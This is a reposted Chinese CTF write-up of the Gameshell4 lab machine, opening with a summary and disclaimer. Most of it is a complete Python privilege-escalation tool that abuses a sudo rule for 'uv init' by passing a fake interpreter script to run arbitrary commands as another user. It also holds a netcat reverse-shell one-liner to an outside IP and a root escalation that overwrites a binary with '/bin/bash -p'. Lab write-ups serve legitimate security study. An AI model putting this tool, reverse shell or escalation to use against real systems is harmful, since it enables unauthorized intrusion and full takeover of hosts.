文章总结: 本文记录了Gameshell4靶机的完整渗透测试过程。通过端口扫描发现79端口的finger服务泄露用户信息,80端口源代码中找到加密密码并成功破解为babylove3。登录SSH后利用数独游戏获得密码sudokuismagic,最终通过uv工具权限提升获取root权限。 综合评分: 75 文章分类: 渗透测试,CTF,WEB安全,内网渗透,实战经验
)。
首先,我们去看看finger服务
finger [email protected]
,我们sudo -l
(sdk) NOPASSWD: /usr/local/bin/uv init *, /usr/local/bin/uv help *
发现sdk用户可以无密码去执行
/usr/local/bin/uv init*, /usr/local/bin/uv help *
那么,我们可以去使用他们去切换到sdk用户下的,我们去了解了解什么是uv
uv是一个用 Rust 编写的极速 Python 包安装器和项目管理器,由开发 Ruff 的 Astral 团队创建。主要特性:超高性能:比传统 pip快 10-100 倍。一体化工具:旨在替代 pip、pip-tools、pipx、poetry、pyenv、virtualenv等多个工具。磁盘空间高效:全局缓存去重依赖。易于安装:可通过 curl、pip、pipx 等安装,无需预先安装 Rust 或 Python。
我们直接一个脚本解决
#!/usr/bin/env python3"""通过uv init执行sdk用户命令的工具基于用户提供的bash脚本思路实现"""
import osimport sysimport tempfileimport subprocessimport shutilimport signalimport atexitimport argparse
def setup_cleanup(): """设置清理函数""" temp_files = []
def cleanup(): """清理临时文件""" for f in temp_files: if f and os.path.exists(f): try: if os.path.isdir(f): shutil.rmtree(f, ignore_errors=True) else: os.unlink(f) except: pass
atexit.register(cleanup) signal.signal(signal.SIGINT, lambda sig, frame: (cleanup(), sys.exit(0))) signal.signal(signal.SIGTERM, lambda sig, frame: (cleanup(), sys.exit(0)))
return temp_files
def execute_sdk_command(command, workdir=None, verbose=False): """ 以sdk用户身份执行命令 :param command: 要执行的命令字符串 :param workdir: 工作目录,默认为临时目录 :param verbose: 是否显示详细信息 :return: 命令输出 """ temp_files = setup_cleanup()
# 1. 创建工作目录 if not workdir: workdir = tempfile.mkdtemp(prefix="uvsdk_proj_") temp_files.append(workdir)
if verbose: print(f"[*] 工作目录: {workdir}")
# 2. 创建命令脚本文件 sdk_cmd_file = tempfile.NamedTemporaryFile( mode='w', prefix='sdk_cmd_', suffix='.sh', delete=False ) sdk_cmd_file.write(f'#!/bin/sh\n{command}\n') sdk_cmd_file.close() os.chmod(sdk_cmd_file.name, 0o755) temp_files.append(sdk_cmd_file.name)
if verbose: print(f"[*] 命令脚本: {sdk_cmd_file.name}")
# 3. 创建输出文件 sdk_out_file = tempfile.NamedTemporaryFile( mode='w', prefix='sdk_cmd_', suffix='.out', delete=False ) sdk_out_file.close() os.chmod(sdk_out_file.name, 0o666) temp_files.append(sdk_out_file.name)
if verbose: print(f"[*] 输出文件: {sdk_out_file.name}")
# 4. 创建假的Python解释器 fakepy_file = tempfile.NamedTemporaryFile( mode='w', prefix='fakepy_', suffix='.sh', delete=False ) fakepy_content = f'''#!/bin/sh/bin/sh "{sdk_cmd_file.name}" >"{sdk_out_file.name}" 2>&1exit 1''' fakepy_file.write(fakepy_content) fakepy_file.close() os.chmod(fakepy_file.name, 0o755) temp_files.append(fakepy_file.name)
if verbose: print(f"[*] 假Python解释器: {fakepy_file.name}")
# 5. 准备uv init命令 uv_log_file = tempfile.NamedTemporaryFile( mode='w', prefix='uv_init_', suffix='.log', delete=False ) uv_log_file.close() temp_files.append(uv_log_file.name)
# 切换到/tmp目录避免权限问题 original_cwd = os.getcwd() os.chdir('/tmp')
if verbose: print(f"[*] SDK命令: {command}") print(f"[*] 触发: sudo -n -u sdk /usr/local/bin/uv init {workdir} --python {fakepy_file.name}")
# 构建uv init命令 uv_cmd = [ 'sudo', '-n', '-u', 'sdk', '/usr/local/bin/uv', 'init', workdir, '--python', fakepy_file.name, '--bare', '--no-workspace' ]
try: with open(uv_log_file.name, 'w') as log_f: result = subprocess.run( uv_cmd, stdout=log_f, stderr=subprocess.STDOUT, timeout=30 )
if verbose: print(f"[*] uv init退出码: {result.returncode}") print(f"[*] uv日志: {uv_log_file.name}")
# 6. 读取输出 output = None if os.path.exists(sdk_out_file.name): with open(sdk_out_file.name, 'r') as f: output = f.read()
if verbose: print(f"[*] SDK命令输出:") print("-" * 40) print(output) print("-" * 40) else: if verbose: print("[-] 没有生成输出文件")
return output
except subprocess.TimeoutExpired: if verbose: print("[-] uv init超时") return None except Exception as e: if verbose: print(f"[-] 执行出错: {e}") return None finally: os.chdir(original_cwd)
if verbose and os.path.exists(uv_log_file.name): with open(uv_log_file.name, 'r') as f: log_content = f.read() if log_content: print(f"[*] uv日志内容:") print("-" * 40) print(log_content[:1000]) if len(log_content) > 1000: print("... (日志截断)") print("-" * 40)
def interactive_mode(): """交互模式""" print("=" * 60) print("uv init sdk命令执行器 - 交互模式") print("=" * 60)
while True: print("\n输入要执行的命令 (输入 'exit' 退出):") command = input("> ").strip()
if command.lower() in ['exit', 'quit', 'q']: print("退出交互模式") break
if not command: continue
print(f"执行命令: {command}") output = execute_sdk_command(command, verbose=True)
if output is None: print("命令执行失败或没有输出")
def batch_mode(commands): """批量执行模式""" print("=" * 60) print("uv init sdk命令执行器 - 批量模式") print(f"执行 {len(commands)} 个命令") print("=" * 60)
for i, cmd in enumerate(commands, 1): print(f"\n命令 {i}/{len(commands)}: {cmd}") output = execute_sdk_command(cmd, verbose=True)
if output is None: print(f"命令 {i} 执行失败")
def shell_mode(): """获取sdk用户的shell""" print("=" * 60) print("获取sdk用户的交互式shell") print("=" * 60)
# 尝试多种获取shell的方法 shell_methods = [ # 方法1: 直接启动bash "/bin/bash -i",
# 方法2: 通过python启动pty '''python3 -c "import pty; pty.spawn('/bin/bash')"''',
# 方法3: 通过脚本启动 '''sh -c "exec /bin/bash -i"''', ]
for i, method in enumerate(shell_methods, 1): print(f"\n尝试方法 {i}: {method}") output = execute_sdk_command(method, verbose=True)
if output and "bash" in output: print(f"方法 {i} 可能成功启动了shell") break
def test_system(): """测试系统信息""" print("=" * 60) print("系统信息测试") print("=" * 60)
test_commands = [ "id; whoami; sudo -l", "uname -a", "cat /etc/os-release", "lsb_release -a 2>/dev/null || echo 'lsb_release not available'", "df -h", "free -h", "cat /proc/cpuinfo | grep 'model name' | head -1", "cat /proc/meminfo | grep 'MemTotal'", ]
batch_mode(test_commands)
def main(): """主函数""" parser = argparse.ArgumentParser(description='通过uv init以sdk用户身份执行命令') parser.add_argument('command', nargs='?', help='要执行的命令') parser.add_argument('-i', '--interactive', action='store_true', help='交互模式') parser.add_argument('-s', '--shell', action='store_true', help='获取sdk用户的shell') parser.add_argument('-t', '--test', action='store_true', help='测试系统信息') parser.add_argument('-b', '--batch', nargs='+', help='批量执行多个命令') parser.add_argument('-v', '--verbose', action='store_true', help='显示详细信息')
args = parser.parse_args()
if args.interactive: interactive_mode() elif args.shell: shell_mode() elif args.test: test_system() elif args.batch: batch_mode(args.batch) elif args.command: output = execute_sdk_command(args.command, verbose=args.verbose or True) if output is None: sys.exit(1) else: # 如果没有参数,显示帮助 parser.print_help()
# 检查当前用户 result = subprocess.run(["whoami"], capture_output=True, text=True) current_user = result.stdout.strip() print(f"\n当前用户: {current_user}")
# 检查sudo权限 result = subprocess.run(["sudo", "-l"], capture_output=True, text=True) if "uv init" in result.stdout or "uv help" in result.stdout: print("✓ 有权限执行uv命令") else: print("✗ 没有找到uv命令的sudo权限")
if __name__ == "__main__": main()
这个脚本是一个权限提升利用工具,它利用系统配置中允许当前用户以 sdk用户身份执行 uv init命令的权限,来实现以 sdk用户身份执行任意命令。
🎯 脚本的核心功能
- 利用 sudoers 配置漏洞
脚本利用了在 sudoers 文件中发现的配置:
(sdk) NOPASSWD: /usr/local/bin/uv init *, /usr/local/bin/uv help *
这个配置允许任何属于 sdk组(或有权限)的用户无需密码以 sdk用户身份执行 uv init命令的任何参数。
- 核心攻击原理
脚本的核心思路是通过 uv init的 –python参数执行自定义代码:
sudo -u sdk /usr/local/bin/uv init [项目路径] --python [脚本路径]
创建一个临时的 Python 脚本(实际上是一个 Shell 脚本)
将这个脚本作为 “Python 解释器” 传递给 uv init
当uv尝试用这个”解释器”初始化项目时,实际上执行了我们注入的命令
- 脚本的主要工作流程
创建临时工作环境:在 /tmp 下创建临时目录和文件
构造恶意命令:将用户要执行的命令写入 Shell 脚本
劫持Python解释器:创建一个假的Python解释器,实际执行我们的Shell 脚本
触发 uv init:以 sdk 用户身份执行 uv init,指向假解释器
获取执行结果:捕获命令的输出
🔧 脚本的使用方式
# 1. 获取sdk用户的shellpython3 uvsdk.py -s# 2. 执行单个命令python3 uvsdk.py "id; whoami"# 3. 交互模式python3 uvsdk.py -i# 4. 测试系统信息python3 uvsdk.py -t# 5. 批量执行命令python3 uvsdk.py -b "uname -a""cat /etc/passwd""ls -la /home"
我们去使用这个试试看
我们可以看到攻击成功了,我们去反弹一个shell即可
busybox nc 192.168.137.102 1234 -e /bin/bash
6.sdk用户
我们去稳定一个shell
我们可以看到可以去执行/usr/local/bin/livescreen,我们去看看
实际执行的是cbonsai,那么我们去创建一个cbonsai,写入提权命令即可。
sdk@GameShell4:/tmp$ echo '/bin/bash -p' > /usr/local/bin/cbonsaisdk@GameShell4:/tmp$ chmod +x /usr/local/bin/cbonsaisdk@GameShell4:/tmp$ sudo /usr/local/bin/livescreen
我们可以看到提权成功,成功获取root.txt
至此,这个靶机渗透测试成功。
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:MS02423 MS02423 MS02423《群友靶机之Gameshell4》
版权声明
本站仅做备份收录,仅供研究与教学参考之用。
读者将信息用于其他用途的,全部法律及连带责任由读者自行承担,本站不承担任何责任。










评论